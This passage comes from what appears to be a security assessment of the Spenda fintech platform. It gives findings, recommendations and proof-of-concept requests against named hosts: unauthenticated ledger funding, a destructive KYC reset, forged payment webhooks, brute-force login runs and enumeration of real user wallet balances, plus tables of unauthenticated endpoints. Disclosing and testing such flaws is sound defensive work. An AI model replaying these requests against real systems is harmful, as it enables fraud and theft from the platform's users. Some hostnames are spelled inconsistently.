- `VITE_TINYMCE_API_KEY` (TinyMCE cloud credential).
- Full production backend endpoint inventory (`/admin/rates/update-manual-rates`, `/admin/sweeps/trigger`, `/admin/users/requery-kyc`, `/admin/crypto-wallets/fireblocks/resend-webhook`, etc.) including money-movement and rate-manipulation functions.

Four additional admin consoles are publicly reachable: `v2-admin.spenda.africa`, `admin-v2.spenda.africa`, `devadmin-v2.spenda.africa` (all "Spenda Admin") and `rheo-console.spenda.africa` ("Rheo · operator console", with `/console/transactions/lookup`, `/console/workspaces`, `/console/topology` operator functions).

1.4 HIGH — CORS misconfiguration on production admin API

Location: `operations.spendafrica.com`

```

OPTIONS /admin/users/query Origin: https://evil.com
→ access-control-allow-origin: https://evil.com
  access-control-allow-credentials: true
  access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT

```

Any origin is reflected with `Access-Control-Allow-Credentials: true`, and an additional response was observed advertising `access-control-allow-origin: *` together with credentials. If any authenticated context is ever issued via cookies (or a Bearer token is stored in an attacker-reachable web origin), cross-origin attackers can invoke admin operations on behalf of a logged-in operator.

1.5 MEDIUM — No rate limiting or lockout on authentication endpoints

Verified with rapid sequential attempts (no throttling, no 429, no lockout):

- Production admin API login (`operations.spendafrica.com/admin/auth/login`): 10+ attempts
- Grafana login (`logs.spenda.africa/api/login`): 6 attempts
- OTP verification (`devapi.spenda.africa/api/v1/auth/verify-code`): 5 attempts
- Uniform 401 Incorrect email or password responses — no account lockout or exponential backoff observed.

Brute-force surface is broad because every console above accepts password authentication and none throttles.

1.6 MEDIUM — HTTPS→HTTP downgrade on production admin API

`GET/POST /admin/*` routes (e.g. `/admin`, `/admin/control-center/app-updates`) return 307 redirects to plaintext `http://operations.spendafrica.com/...`. Any HTTP client following redirects (browsers, misconfigured proxies, SDKs) transmits credentials/tokens in cleartext. Confirmed on multiple routes including POST endpoints carrying bodies.

1.7 MEDIUM — Missing security headers across the estate

No `Strict-Transport-Security`, `Content-Security-Policy`, `X-Frame-Options`, or `X-Content-Type-Options` on any assessed frontend (marketing site, admin panel, admin consoles, blog). A fintech estate with a Grafana, Metabase, and Argo CD login pages is fully clickjacking/framing-capable, and downgrade/MITM protections are absent (no HSTS).

1.8 MEDIUM — Direct reachability of backend origins (no CDN/WAF between attacker and API)

The EC2 origins behind the API are directly routable: `13.36.6.143` and `15.224.170.117` (ap-south-1) answer `{"Hello": "Spenda"}` on 443 with `server: uvicorn` for `Host: operations.spendafrica.com`, and the full application serves through them. An attacker who enumerates origin IPs bypasses any CloudFront/ALB filtering, rate limiting, or logging layer, and can target the application stack directly.

1.9 MEDIUM — Email spoofing permitted (DMARC policy not enforced)

`spenda.africa` publishes `DMARC p=none` (policy none, though `sp=reject`). Combined with a google-site-verification present and both Google/Zoho SPF includes, the domain is phishable as-is — relevant for a financial platform whose users transact with real value.

1.10 LOW — Soft-404 pattern cached for one year

All nonexistent paths on `spenda.africa` return **HTTP 200** (Next.js error page) with `x-nextjs-cache: HIT` and `cache-control: s-maxage=31536000, stale-while-revalidate` via CloudFront. Any attacker-influenced 200 response (or future dynamic route mishap) is cacheable for 365 days across all POPs; SEO-abuse and cache-poisoning risk are elevated. Same pattern observed on `v2.spenda.africa` and `dev.spenda.africa`.

1.11 LOW — Information disclosure cluster

- `/api/v1/ready` on staging backoffice leaks Kubernetes pod names (`ops-svc-stage-d5dcdf8c7-j9cq6`) — internal orchestration details.

- `/api/backoffice/api/v1/ready` on `devapi-v2` leaks the internal VPC hostname `ip-10-0-40-53.eu-west-3.compute.internal` plus database health status.
- `user-svc /api/v1/health/ready` leaks `ip-10-0-10-64.eu-west-3.compute.internal`.
- `/sentry-debug` on dev API returns 500 (Sentry integration confirmed, error pipeline reachable).
- Grafana 11.5.2, Metabase v0.53.7.1 (including a **stale setup-token** in `/api/session/properties`), Argo CD v3.3.8 (`/api/v1/settings` unauthenticated), Ghost 5.121, nginx 1.24.0 — all version fingerprints public.
- Marketing pixels: `twq("config","pcw4p")`, `fbq("init","9872047272881976")`.
- `www.spenda.africa` → ALB 301 to `https://spenda.africa:443/` (non-canonical redirect, includes default port).

3. Infrastructure Map (discovered)

```

spenda.africa — CloudFront (LOS50) — Next.js marketing site (3 builds: prod / dev / v2)
├─ admin.spenda.africa — S3 + CloudFront — production admin SPA (Vite) [secrets in bundle]
├─ v2-admin / admin-v2 / devadmin-v2 — Spenda Admin consoles (Next.js, S3); v2-admin → devapi-v2
backoffice API
├─ devapi-v2.spenda.africa — ops-svc v2 backoffice API (base for v2-admin console; unauth KYC
reset confirmed; leaks VPC hostname ip-10-0-40-53.eu-west-3 via /ready)
├─ rheo-console.spenda.africa — Rheo operator console (Vite SPA)
├─ operations.spendaafrica.com — FastAPI admin API (uvicorn, pydantic 2.11, OAuth2) — EC2 ap-south-1
direct origins
├─ devapi.spenda.africa — FastAPI customer API — dev, docs enabled, 152 endpoints
├─ pre-test.spenda.africa — FastAPI customer API — staging, docs enabled
├─ stageapi.spenda.africa — ops-svc backoffice — staging, docs enabled, 148 endpoints
├─ rheo-service.spenda.africa — liquidity-engine-svc (ALB eu-west-3)
├─ logs.spenda.africa — Grafana 11.5.2 (login required)
├─ sbi.spenda.africa — Metabase v0.53.7.1 (login required, stale setup-token)
├─ spendaservice.spenda.africa — Argo CD v3.3.8 (login required, settings public)
├─ redisinsight / eaver — Basic-auth (nginx 1.24.0) services
├─ insight / logsinsight — login-gated services
├─ myresource.spenda.africa — Resource Monitor app
├─ connect / staging-connectui — connectivity services (503/302)
├─ blog.spenda.africa — Ghost 5.121 (EC2 51.44.53.139)

```

3.5 Evidence Timeline (2026-08-13, UTC)

Time (UTC)	Event	Evidence
21:30	Controlled user-svc registration (dev, <code>secaudit.dev.*</code>)	ts2: 1786656620
21:51	Controlled victim registration (dev, <code>secaudit.vic2.*</code>)	ts3: 1786657873
22:00–22:15	Redeploy observed — v2 services reprefixed (<code>/api/users</code> , <code>/api/transactions</code> , ...), new required fields, all JWTs invalidated	service re-discovery + live OpenAPI re-pull
22:13	Customer-API account (<code>smileprobe.*</code>) registered; ops-svc <code>/ready</code> timestamp 2026-08-13T22:13:16	ts4: 1786659226
22:16	Fixed-code <code>000000</code> chain re-validated on new stack (register→verify→PIN→full token→/me)	transcript \$2
22:19	Unauth platform <code>limits</code> re-confirmed (verified 2M/10M tiers, NG/NGN)	HTTP 200
22:20	CRITICAL ledger enumeration confirmed — 98 user wallets (56.4M/34.1M/3.07M/2.16M/2.05M/1.09M NGN), platform pools incl. <code>PALMPAY_NG -4,132,000</code>	transcript \$3
22:26	Unauth funding reaches execution on both envs (500 at ledger layer; no auth gate)	transcript \$1

Time (UTC)	Event	Evidence
22:31	Webhook forgery re-confirmed (sudo <code>authorization.approved</code> → 200/"00"; smile-id blind)	transcript §4
22:35	Backoffice re-validation: KYC testing reset 200 (both envs), MFA stepup 503 db.error, <code>sample/me</code> now bearer-gated	transcript §7
22:38	Cross-env key sharing re-confirmed (dev token → staging services + backoffice <code>sample/me</code> 200)	§1.1d
23:20	fireblocks/webhook regression — forged/empty bodies → 200 "ok" (was 401)	transcript §4
23:22	<code>safehaven/transfer-status</code> + <code>threshold/verify-deposit</code> oracles confirmed (SafeHaven <code>responseCode</code> 25 = live proxy)	transcript §6
23:30	Customer API verify-code lockout (2 tries → 1h); reset flows non-enumerating; X-API-Key 13 candidates all 403	§1.8
23:40	Login lockout audit: customer API 32x, v2 user-svc 27x — no lockout	transcript §5
23:47	v2 PIN lockout confirmed: 5 attempts → permanent PIN lock; password login unaffected (PIN-scoped only)	transcript §5
23:52	Backoffice admin login 40x — no lockout	transcript §5
23:55	Report + PDF artifacts produced	—

Pre-redeploy rounds (initial enumeration, prod admin/console/operator findings, §1.1–1.1h, §1.2–1.3, prod admin leaks) span 2026-08-10 → 2026-08-13.

4. Recommendations (priority order)

1. **Authenticate the KYC reset utility** and remove all testing routes from internet-exposed deployments; gate staging behind SSO/VPN (finding 1.1).
2. **Disable API docs on non-production internet endpoints** — `docs_enabled` and `/openapi.json` on dev/staging (1.2); rotate any credentials that ever appeared in client bundles and stop embedding admin keys in frontends (1.3).
3. **Fix CORS policy** on the admin API — explicit allowlist, never `*` with credentials, no arbitrary origin reflection (1.4).
4. **Eliminate the 307-to-HTTP redirects**; serve the API exclusively over HTTPS (1.6); add HSTS across all properties (1.7).
5. **Implement rate limiting and lockout** on every login and OTP endpoint (1.5).
6. **Move origin IPs behind CDN-only egress** (security groups restricted to CloudFront/ALB ranges) (1.8).
7. **Enforce DMARC** (p=quarantine then p=reject) on `spenda.africa` and `spendafrica.com` (1.9).
8. Replace the shared internal `X-API-Key` with per-service credentials/mTLS; audit who holds the key (2.7).
9. Return real 404s with short cache TTLs on the Next.js applications (1.10).
10. Harden operator consoles (Grafana/Metabase/Argo CD/Redis Insight): SSO, IP allowlists, and disable public version/settings disclosures (1.11).


```

$ POST https://devapi.v2.spendafrica.com/api/transactions/api/v1/internal/ops/platform/funding (no
Authorization header)

{"currency": "NGN", "amount_major": "1.00", "target": {"type": "CORP_BANK", "acct":
"ROLE": "SYSTEM", "id": "poc", "name": "poc", "reference": "poc-...",
HTTP 200 = {"data": {"journal_id": "06a7e35b-12c3-7e63-8000-c2eac99669fb", "currency": "NGN", ...}}
JOURNAL CREATED = UNAUTHORIZED

$ POST https://stageapi.spendafrica.com/api/transactions/api/v1/internal/ops/platform/funding (no
Authorization header)

{"currency": "NGN", "amount_major": "1.00", "target": {"type": "CORP_BANK", "acct":
"ROLE": "SYSTEM", "id": "poc", "name": "poc", "reference": "poc-...",
HTTP 200 = {"data": {"journal_id": "06a7e35d-24f0-7f9d-8000-709391b40ab6", ...}} JOURNAL CREATED
= UNAUTHORIZED

```

Fig.2 — PoC: unauth platform funding (journal created, dev + staging)

PoC — Unauth backoffice primitives (KYC reset + MFA stepup)

```
$ POST https://devapi.v2.spenda.africa/api/backoffice/api/v1/users/kyc/testing/reset/00000000-0000-0000-0000-000000000000 (no auth)
HTTP 200 ~ {"data":{"user_id":"00000000-...","profile_level":0,"deleted":{"fingerprints":0,"verifications":0,"level_changes":0,"attempt_limits":0,"addresses":0}}}
```

DESTRUCTIVE RESET EXECUTED


```
$ POST https://stageapi.spenda.africa/api/backoffice/api/v1/users/kyc/testing/reset/00000000-0000-0000-0000-000000000000 (no auth)
HTTP 200 ~ same deletion-count response  CONFIRMED ON STAGING TOO
```



```
$ POST https://backoffice/api/v1/admin/mfa/challenge/stepup (no session)
{"admin_id":"00000000-0000-0000-0000-000000000000"}
HTTP 503 {"code":"db.error"} REACHES DB LAYER WITHOUT AUTH
```

Fig.4 — PoC: unauth backoffice primitives (KYC reset, MFA stepup)

PoC — Forged webhook acceptance (no signature verification)

```
$ POST https://devapi.spenda.africa/api/v1/sudo/webhook (no signature headers)
{"business":"poc","type":"authorization.approved","data":{},"pendingWebhook":false,"webhookArchived":false,"createdAt":1767225600}
HTTP 200 - {"statusCode":200,"responseCode":"00"} FORGED CARD AUTHORIZATION ACCEPTED

$ POST /api/v1/fireblocks/webhook (no signature, empty body)
{}
HTTP 200 - {"status":"ok"} REGRESSION — WAS 401 PRE-DEPLOY

$ POST /api/v1/fireblocks/webhook (forged TRANSACTION event, no signature)
{"event":"transaction","data":{"id":"poc-tx","status":"COMPLETED","amount":"1.00","assetId":"USDC","destinationAddress":"poc"}}
HTTP 200 - {"status":"ok"} FORGED CRYPTO DEPOSIT EVENT ACCEPTED

$ POST /api/v1/smile-id/callback (empty body)
HTTP 200 - {"success":true,"message":"Callback received successfully"} KYC CALLBACK BLIND-ACCEPTED

$ POST /api/v1/palmpay/webhook | /nomba/webhook | /vtpass/webhook (empty bodies)
HTTP 200 "Webhook received" / {"response":"success"} EMPTY EVENTS ACCEPTED

$ POST /api/v1/paystack/webhook (no signature)
{"event":"charge.success","data":{"reference":"poc","amount":"100.00"}}
HTTP 422 — schema validation only, NO SIGNATURE GATE
```

Spenda assessment PoC evidence — controlled accounts / non-existent references, no funds moved. 2026-08-13 UTC.

Fig.5 — PoC: forged webhooks accepted (sudo, fireblocks, smile-id, paystack)

PoC — Unauthenticated full-ledger enumeration (real balances)

```
$ GET "https://devapi-v2.spenda.africa/api/transactions/api/v1/internal/ops/platform/accounts?owner_type=USER&size=200" (no auth)
HTTP 200 — 98 user accounts, sample:
069097ad-1cf2-763a-8000-0204b0feb0fc USER_MAIN_WALLET NGN 56,420,472
069f35bc-bdf6-7f10-8000-550edcd0c916 USER_MAIN_WALLET NGN 34,122,441
06906710-eb08-71e8-8000-3f2b0427b2fa USER_MAIN_WALLET NGN 3,073,143
06a17020-4f64-7957-8000-064441e3b06f USER_MAIN_WALLET NGN 2,160,000
0690af94-4a8c-71f0-8000-0c281b09c460 USER_MAIN_WALLET NGN 2,055,000
069e8f70-28e9-71e8-8000-c8cca8f15c95 USER_MAIN_WALLET NGN 1,090,000

$ GET "/accounts?owner_type=PLATFORM&size=10"
HTTP 200 — platform books:
PALMPAY_NG PLATFORM_PROVIDER_POOL NGN -4,132,000 meta: provider=PALMPAY,
domain=bankingrails
SAFEHAVEN_NG PLATFORM_PROVIDER_POOL NGN -

$ GET "/accounts?owner_type=USER" on staging
HTTP 200 — same enumeration CONFIRMED ON BOTH ENVIRONMENTS
```

Spenda assessment PoC evidence — controlled accounts / non-existent references, no funds moved. 2026-08-13 UTC.

Fig.6 — PoC: unauth full-ledger enumeration (real balances)

PoC — Lockout-path audit (all authentication surfaces)

```
$ POST https://devapi.spenda.africa/api/v1/auth/login x 32 (wrong passwords, customer API)
401 "Incorrect email or password. Please try again." x 32 NO LOCKOUT

$ POST https://devapi-v2.spenda.africa/api/users/api/v1/auth/login x 27 (v2 user-svc)
401 "Incorrect email or password. Please try again." x 27 NO LOCKOUT

$ POST https://stageapi.spenda.africa/api/backoffice/api/v1/admin/auth/login x 40 (backoffice admin)
401 "Invalid credentials" x 40 NO LOCKOUT, NO COOLDOWN

$ POST /api/users/api/v1/auth/verify-pin x 10 (wrong PINs, own account, correct pin 2222)
pin 0000 - 401 "Invalid PIN, you have 5 attempts before your account..."
pin 1111 - 401 - 4 attempts -
pin 3333 - 401 - 3 attempts -
pin 4444 - 401 - 2 attempts -
pin 5555 - 401 - 1 attempts -
pin 6666 - 401 "Your account has been locked. Please reset your pin."
(permanent until pin reset)

$ POST /api/users/api/v1/auth/login (correct password on PIN-locked account)
HTTP 200 + full access token PIN LOCK IS PIN-SCOPED ONLY — PASSWORD UNLOCKED

$ POST https://devapi.spenda.africa/api/v1/auth/verify-code x 3
400 "Invalid verification code." - 400 "Too many attempt, try again in an hour or contact support" ONLY EMAIL-OTP IS RATE-LIMITED
```

Spenda assessment PoC evidence — controlled accounts / non-existent references, no funds moved. 2026-08-13 UTC.

Fig.7 — PoC: lockout-path audit (no login lockout; PIN lock bypass)

PoC — Unauthenticated provider oracles (SafeHaven, Thresh0ld)

```
$ GET "https://devapi.spenda.africa/api/v1/safehaven/transfer-status?reference=poc-fake-ref" (no auth)
HTTP 200 - {"message":"Transfer status retrieved successful","data":{"statusCode":"400","responseCode":"25","message":"Unable to locate record"}} LIVE PROXY INTO SAFEHAVEN TRANSFER API

$ GET "/safehaven/transfer-status?session_id=poc-fake-session"
HTTP 200 — SafeHaven responseCode "25" again ARBITRARY SESSION/REFERENCE LOOKUP

$ GET "/api/v1/thresh0ld/verify-deposit?wallet_id=poc&tx_id=poc&vout_index=0"
HTTP 200/422 — executes deposit verification unauth ORACLE OVER ARBITRARY WALLET/TX IDS
```

Spenda assessment PoC evidence — controlled accounts / non-existent references, no funds moved. 2026-08-13 UTC.

Fig.8 — PoC: unauth provider oracles (SafeHaven, Thresh0ld)

Customer API
devapi.spenda.africa (152 endpoints) · 152 paths · 42 unauthenticated **UNAUTH** **AUTH** · purple = sensitive surface

Method	Path	Auth	Summary
POST	/api/v1/auth/set-security-pin	NO AUTH	Set Security Pin
POST	/api/v1/auth/login-with-pin	NO AUTH	Login With Pin
POST	/api/v1/auth/login-with-pin-new-device	NO AUTH	Login With Pin New Device
POST	/api/v1/auth/request-password-reset	NO AUTH	Request Password Reset
POST	/api/v1/auth/request-security-pin-reset	NO AUTH	Request Pin Reset
POST	/api/v1/auth/reset-password	NO AUTH	Reset Password
POST	/api/v1/auth/reset-security-pin	NO AUTH	Reset Security Pin
POST	/api/v1/paystack/webhook	NO AUTH	Paystack Webhook
POST	/api/v1/safehaven/webhook	NO AUTH	Safehaven Webhook
GET	/api/v1/safehaven/transfer-status	NO AUTH	Get Transfer Status
POST	/api/v1/dojah/kyc/webhook	NO AUTH	Handle Dojah Webhook
POST	/api/v1/sudo/webhook	NO AUTH	Sudo Webhook
POST	/api/v1/vtpass/webhook	NO AUTH	Vtpass Webhook
POST	/api/v1/fireblocks/webhook	NO AUTH	Handle Fireblocks Webhook
POST	/api/v1/fb-v2/spnd/webhook	NO AUTH	Handle Fireblocks Webhook
POST	/api/v1/fb-v2/spnd/v2/webhook	NO AUTH	Handle Fireblocks Webhook V2
POST	/api/v1/fez/webhook	NO AUTH	Handle Fez Webhook
POST	/api/v1/nomba/webhook	NO AUTH	Nomba Webhook
POST	/api/v1/palmpay/webhook	NO AUTH	Safehaven Webhook
GET	/sentry-debug	NO AUTH	Trigger Error
GET	/	NO AUTH	Read Root
POST	/api/v1/auth/register	NO AUTH	Register
POST	/api/v1/auth/verify-referral-code	NO AUTH	Verify Referral Code
POST	/api/v1/auth/verify-current-device	NO AUTH	Verify Current Device
POST	/api/v1/auth/verify-email	NO AUTH	Verify
POST	/api/v1/auth/swagger/login	NO AUTH	Swagger Login
POST	/api/v1/auth/login	NO AUTH	Login For Access Token
POST	/api/v1/auth/verify-code	NO AUTH	Verify Code
POST	/api/v1/auth/resend-verification-code	NO AUTH	Resend Verification Code
POST	/api/v1/auth/refresh	NO AUTH	Refresh Tokens
POST	/api/v1/threshold/deposit-callback	NO AUTH	Receive Threshold Deposit Callback
GET	/api/v1/threshold/verify-deposit	NO AUTH	Verify Deposit
GET	/api/v1/rates/asset-rates	NO AUTH	Get Asset Rates
GET	/api/v1/rates/timer	NO AUTH	Get Rate Timer
POST	/api/v1/safehaven/authenticate	NO AUTH	Authenticate Safehaven
POST	/api/v1/sudo/authorization-gateway	NO AUTH	Sudo Authorize
POST	/api/v1/smile-id/callback	NO AUTH	Smile Id Callback
GET	/api/v1/faqs	NO AUTH	Get Faqs
GET	/api/v1/screen-announcement/{screen_name}	NO AUTH	Get Screen Announcement
GET	/api/v1/screen-announcements	NO AUTH	Get Screen Announcements
GET	/web/cisatundepqr/donations	NO AUTH	Get Cisatundepqr Crypto Deposits

user-svc
devapi-v2.spenda.africa/api/users (37 endpoints) · 37 paths · 14 unauthenticated **UNAUTH** **AUTH** · purple = sensitive surface

Method	Path	Auth	Summary
POST	/api/v1/auth/reset/otp/verify	NO AUTH	Reset Verify Otp
GET	/healthz	NO AUTH	Healthz
GET	/api/v1/health/	NO AUTH	Liveness
GET	/api/v1/health/ready	NO AUTH	Readiness
POST	/api/v1/auth/token	NO AUTH	OAuth Token
GET	/api/v1/auth/countries	NO AUTH	Get Supported Countries
POST	/api/v1/auth/register	NO AUTH	Register
POST	/api/v1/auth/otp/request	NO AUTH	Request OTP (send or resend verification code)
POST	/api/v1/auth/email/verify	NO AUTH	Verify email with code
POST	/api/v1/auth/login	NO AUTH	Login
POST	/api/v1/auth/refresh	NO AUTH	Refresh
POST	/api/v1/auth/device/register	NO AUTH	Register Device
GET	/	NO AUTH	Read Root
GET	/sentry-debug	NO AUTH	Trigger Error
POST	/api/v1/auth/login-with-pin	auth	Login With Pin
POST	/api/v1/auth/verify-pin	auth	Verify Pin
POST	/api/v1/auth/pin/change	auth	Change Pin
POST	/api/v1/auth/password/reset	auth	Reset Password
POST	/api/v1/auth/pin/reset	auth	Reset Pin
POST	/api/v1/me/delete	auth	Delete Account
POST	/api/v1/me/otp/init	auth	Otp Init
POST	/api/v1/me/otp/init/verify	auth	Verify Otp Init
POST	/api/v1/me/disable/otp	auth	Request email OTP to disable TOTP
POST	/api/v1/me/disable	auth	Disable TOTP
GET	/api/v1/me/status	auth	Get Mfa Status
POST	/api/v1/auth/set	auth	Set or update PIN
POST	/api/v1/auth/login-with-totp	auth	Login With Totp
POST	/api/v1/auth/password/change	auth	Change Password
POST	/api/v1/auth/logout	auth	Logout
GET	/api/v1/me	auth	Get Me
PATCH	/api/v1/me/spenda-id	auth	Update Spenda Id
GET	/api/v1/me/name-enquiry/{spenda_id}	auth	Get Name Enquiry
GET	/api/v1/me/devices	auth	List My Devices
DELETE	/api/v1/me/devices/{device_id}	auth	Delete Device
PATCH	/api/v1/me/devices/update	auth	Update
POST	/api/v1/phone/otp/request	auth	Send Otp
POST	/api/v1/phone/verify	auth	Verify Otp

Fig.10 — v2 user-svc reference (14 unauth)

GET	/web/cisatundepqr/donations/stats	NO AUTH	Get Cisatundepqr Donation Stats
POST	/api/v1/auth/verify-pin	auth	Verify Pin
GET	/api/v1/users/me/wallets	auth	Get User Wallets
POST	/api/v1/users/me/validate-security-pin	auth	Validate Transaction Pin
GET	/api/v1/users/me/limits	auth	Get User Limits
GET	/api/v1/crypto-wallets/assets/	auth	Get Assets
GET	/api/v1/crypto-wallets/assets/{unique_identifier}	auth	Get Asset
GET	/api/v1/fiat-wallets/me/wallet/{currency}	auth	Get User Wallet
GET	/api/v1/fiat-wallets/me/wallets	auth	Get User Wallets
GET	/api/v1/fiat-wallets/load-currencies/	auth	Load Currencies
POST	/api/v1/withdrawals/transfer-to-bank	auth	Send To Bank
POST	/api/v1/withdrawals/transfer/finalize	auth	Finalize Transfer
POST	/api/v1/transfers/transfer-to-spenda	auth	Send To Spenda Wallet
GET	/api/v1/transactions/limits/user	auth	Get User Transaction Limits
GET	/api/v1/transactions/limits/general	auth	Get Transaction Limits
GET	/api/v1/transactions/limits/bills	auth	Get Bills Transaction Limits
GET	/api/v1/beneficiaries/transfer/recent/{type}	auth	Get Recent Transfer Beneficiaries
PUT	/api/v1/kyc/kyc-status/complete	auth	Complete Kyc Status
POST	/api/v1/kyc/dojah/verify-phone/send-otp	auth	Send Otp
POST	/api/v1/kyc/dojah/verify-phone/validate-otp	auth	Validate Otp
PUT	/api/v1/cards/{id}/send-default-pin	auth	Send Default Pin
PUT	/api/v1/cards/{id}/change-pin	auth	Change Card Pin
POST	/api/v1/cards/request-pin-reset	auth	Request Pin Reset
POST	/api/v1/cards/{id}/create-pin	auth	Create Card Pin
PUT	/api/v1/cards/{id}/reset-pin	auth	Reset Card Pin
GET	/api/v1/referral/wallet	auth	Get Wallet
GET	/api/v1/internal/processing-card-transactions	auth	Get Processing Card Transactions
GET	/api/v1/internal/authorizations/{authorization_id}/status	auth	Get Authorization Status
POST	/api/v1/internal/card-transactions/{reference}/refund	auth	Initiate Card Refund

Fig.9 — Customer API reference (152 endpoints, 42 unauth)

transaction-svc
devapi.v2.spenda.africa/api/transactions (29 endpoints) · 29 paths · 10 unauthenticated **UNAUTH**
AUTH · purple = sensitive surface

Method	Path	Auth	Summary
GET	/api/v1/limits	NO AUTH	Get spending limits and fees
POST	/api/v1/internal/ops/platform/funding	NO AUTH	Owner funding into platform accounts (corp bank, provider pools, etc)
POST	/api/v1/internal/ops/platform/transfer	NO AUTH	Internal transfers / rebalancing between platform asset accounts
POST	/api/v1/internal/ops/platform/otc-crypto-swap	NO AUTH	Record OTC crypto-fiat swap (USD-HGN) between platform books
GET	/api/v1/internal/ops/platform/accounts	NO AUTH	List ledger accounts via ledger-svc (default: platform-owned)
GET	/healthz	NO AUTH	Healthz
GET	/api/v1/health/	NO AUTH	Liveness
GET	/api/v1/health/ready	NO AUTH	Readiness
GET	/	NO AUTH	Read Root
GET	/sentry-debug	NO AUTH	Trigger Error
POST	/api/v1/transactions/transfers	auth	Initiate Internal Transfer
POST	/api/v1/transactions/stablecoin-transfers	auth	Initiate Stablecoin Transfer
GET	/api/v1/wallet/balance	auth	Get Wallet Balance
GET	/api/v1/wallet/balances	auth	Get Wallet Balances
GET	/api/v1/limits/me	auth	Get my limits (user-specific)
POST	/api/v1/transactions/withdrawals	auth	Initiate Withdrawal
POST	/api/v1/transactions/cards/virtual	auth	Initiate Virtual Card Creation
POST	/api/v1/transactions/cards/topup	auth	Initiate Card Topup
POST	/api/v1/transactions/billpay/airline	auth	Initiate Airline Purchase
POST	/api/v1/transactions/billpay/data	auth	Initiate Data Purchase
POST	/api/v1/transactions/billpay/electricity	auth	Initiate Electricity Payment
POST	/api/v1/transactions/billpay/cable	auth	Initiate Cable Purchase
GET	/api/v1/transactions	auth	List User Transactions
GET	/api/v1/transactions/summary	auth	Get Transactions Summary
POST	/api/v1/transactions/report	auth	Create Transaction Report
GET	/api/v1/transactions/report/{reference}	auth	Get Transaction Report Status
GET	/api/v1/transactions/{txn_id}	auth	Get Transaction
POST	/api/v1/statement/user	auth	Create User Statement
POST	/api/v1/statement/card/{card_id}	auth	Create Card Statement

Fig.11 — transaction-svc reference (10 unauth)

card-svc
devapi.v2.spenda.africa/api/cards (33 endpoints) · 33 paths · 7 unauthenticated **UNAUTH** **AUTH** · purple = sensitive surface

Method	Path	Auth	Summary
POST	/api/v1/webhooks/rain	NO AUTH	Rain Webhook
POST	/api/v1/fireblocks/webhook	NO AUTH	Ingest Fireblocks Webhook V2
GET	/healthz	NO AUTH	Healthz
GET	/api/v1/health/	NO AUTH	Liveness
GET	/api/v1/health/ready	NO AUTH	Readiness
GET	/	NO AUTH	Read Root
GET	/sentry-debug	NO AUTH	Trigger Error
DELETE	/api/v1/cards/delete/{card_id}	auth	Delete Card
GET	/api/v1/card/usd/{card_id}/secrets	auth	Reveal Card Secret
GET	/api/v1/card/usd/{card_id}/secrets/pin	auth	Get Card Pin Secrets
POST	/api/v1/card/usd/{card_id}/secrets/pin	auth	Update Card Pin Secrets
GET	/api/v1/address/countries	auth	Get Supported Countries
GET	/api/v1/address/us	auth	Get Us Billing Address
POST	/api/v1/address/type	auth	Create Address
GET	/api/v1/address	auth	Get Addresses
GET	/api/v1/address/latest	auth	Get Address By Type
GET	/api/v1/address/{address_id}	auth	Get Address
GET	/api/v1/cards	auth	List Cards
GET	/api/v1/cards/{card_id}	auth	Get Card
GET	/api/v1/cards/spending-limit/{card_id}	auth	Get Spending Limit
POST	/api/v1/cards/spending-limit/{card_id}	auth	Post Spending Limit
POST	/api/v1/cards/billing/{card_id}	auth	Upsert Card Billing Address
POST	/api/v1/cards/block/{card_id}	auth	Block Card
POST	/api/v1/cards/unblock/{card_id}	auth	Unblock Card
PATCH	/api/v1/cards/name/{card_id}	auth	Name Update
GET	/api/v1/card/usd/occupations	auth	Get Occupations
GET	/api/v1/card/usd/availability	auth	Get Card Availability
GET	/api/v1/card/usd/application/details	auth	Get Application Details
POST	/api/v1/card/usd/application/details	auth	Upsert Application Details
POST	/api/v1/card/usd/application/create	auth	Create Application
GET	/api/v1/card/usd/rates/{currency}	auth	Usd Card Rates
GET	/api/v1/card/usd/settings	auth	Usd Card Product Settings
POST	/api/v1/card/usd/{card_id}/balance	auth	Get Card Balance
POST	/api/v1/card/usd/withdrawal	auth	Withdraw Card Funds
GET	/api/v1/assets	auth	List Assets
POST	/api/v1/assets/{card_id}/resolve-address	auth	Resolve Deposit Address

Fig.12 — card-svc reference (7 unauth)

ops-svc backoffice
 stageapi.spenda.africa/api/backoffice (148 endpoints) · 148 paths · 15 unauthenticated **UNAUTH** **AUTH** · purple = sensitive surface

Method	Path	Auth	Summary
POST	/api/v1/admin/auth/password/reset	NO AUTH	Reset Password
POST	/api/v1/admin/mfa/totp/verify/login	NO AUTH	Verify Totp Login
POST	/api/v1/admin/mfa/totp/challenge/stepup	NO AUTH	Issue Stepup Challenge
POST	/api/v1/admin/mfa/totp/verify/stepup	NO AUTH	Verify Totp Stepup
POST	/api/v1/users/kyc/testing/reset/{user_id}	NO AUTH	Reset user KYC state (testing only; remove before production)
GET	/healthz	NO AUTH	Healthz
GET	/api/v1/	NO AUTH	Liveness
GET	/api/v1/ready	NO AUTH	Readiness
POST	/api/v1/admin/auth/login	NO AUTH	Login
POST	/api/v1/admin/auth/refresh	NO AUTH	Refresh
POST	/api/v1/admin/auth/logout	NO AUTH	Logout
POST	/api/v1/admin/auth/password/forgot	NO AUTH	Forgot Password
GET	/api/v1/content/faq/public/{faq_id}	NO AUTH	Get Public Faq
GET	/api/v1/content/faq/public	NO AUTH	List Public Faqs
GET	/	NO AUTH	Read Root
POST	/api/v1/admin/mfa/totp/init	auth	Totp Init
POST	/api/v1/admin/mfa/totp/verify/init	auth	Verify Totp Init
POST	/api/v1/admin/mfa/regenerate	auth	Regenerate
POST	/api/v1/admin/mfa/disable	auth	Disable
POST	/api/v1/admin/mfa/device/trust	auth	Trust Device
POST	/api/v1/admin/pin/set	auth	Set or update PIN
POST	/api/v1/admin/pin/verify	auth	Verify PIN
DELETE	/api/v1/admin/pin	auth	Delete PIN
POST	/api/v1/users/mfa/disable/{user_id}	auth	Disable user MFA
GET	/api/v1/users/kyc/stuck	auth	List Stuck Kyc Users
POST	/api/v1/users/kyc/profile/ensure/{user_id}	auth	Ensure KYC profile exists (repair missing row)
POST	/api/v1/users/kyc/profile	auth	Create or update KYC profile record (explicit level)
POST	/api/v1/users/kyc/attempts/reset/{user_id}	auth	Reset KYC Attempt Limit
POST	/api/v1/users/kyc/reconcile/{user_id}	auth	Reconcile Stuck Kyc

Rheo liquidity-engine
 rheo-service.spenda.africa (42 paths) · 43 paths · 2 unauthenticated **UNAUTH** **AUTH** · purple = sensitive surface

Method	Path	Auth	Summary
POST	/webhooks/fireblocks	NO AUTH	Ingest Fireblocks Webhook
GET	/health	NO AUTH	Health
GET	/console/workspaces/{slug}	auth	Console Workspaces
